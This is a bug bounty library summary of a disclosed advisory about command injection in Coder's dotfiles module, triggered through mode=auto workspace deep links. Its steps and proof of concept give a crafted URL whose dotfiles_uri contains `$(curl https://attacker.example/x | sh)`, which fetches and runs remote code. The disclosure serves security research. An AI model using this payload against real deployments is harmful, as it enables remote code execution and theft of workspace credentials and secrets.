# Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent

Coder's dotfiles registry module interpolated dotfiles_uri into a shell script, and mode=auto deep links let an attacker trigger one-click RCE in a victim's workspace.

- Payout: Research
- Severity: high
- Program: Coder
- Found by: avivdon
- Disclosed: 2026-07-02
- CVE: CVE-2026-44454
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-m3cr-vc2j-pm27
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m3cr-vc2j-pm27
- Tags: area:cloud domain:infra impact:rce kind:research platform:ghsa sev:high tech:go technique:source-review vuln:command-injection vuln:rce

**Target:** Coder workspace provisioning / dotfiles registry module and Create Workspace page
**Root cause:** The dotfiles module interpolated the user-supplied dotfiles_uri directly into a shell script executed via eval/sh -c, so shell metacharacters and command substitution were expanded. The Create Workspace page's mode=auto parameter auto-provisioned workspaces from param.* URL values without confirmation.
**Steps:**
1. Craft a URL to the victim's deployment: `https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com`
2. Send the link to an authenticated Coder user; on click the workspace is created immediately with the attacker-supplied dotfiles_uri
3. The dotfiles module interpolates the value into its shell script; `$(...)` is expanded and the attacker's command runs inside the provisioned workspace
**Exploitation:** Attacker hosts a payload script, embeds `$(curl https://attacker.example/x | sh)` in param.dotfiles_uri of a mode=auto deep link, and lures an authenticated user to click it. The workspace auto-provisions without confirmation and the shell expands the substitution, executing attacker code in the victim's workspace with access to its credentials, secrets and files.
**Escalation:** mode=auto converts a self-inflicted injection into a one-click, no-consent attack against other users; workspace privileges may expose Git credentials and secrets and provide a foothold for lateral movement.
**Insight:** Template parameter values passed via param.* URL params are attacker-controlled input that flows into provisioning scripts; check registry modules for eval/sh -c interpolation of these values, and look for auto-create/auto-apply query flags that skip the confirmation UI.

## Proof of concept (copied exactly from the original report)

**Crafted mode=auto URL with command substitution payload**

```
https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com
```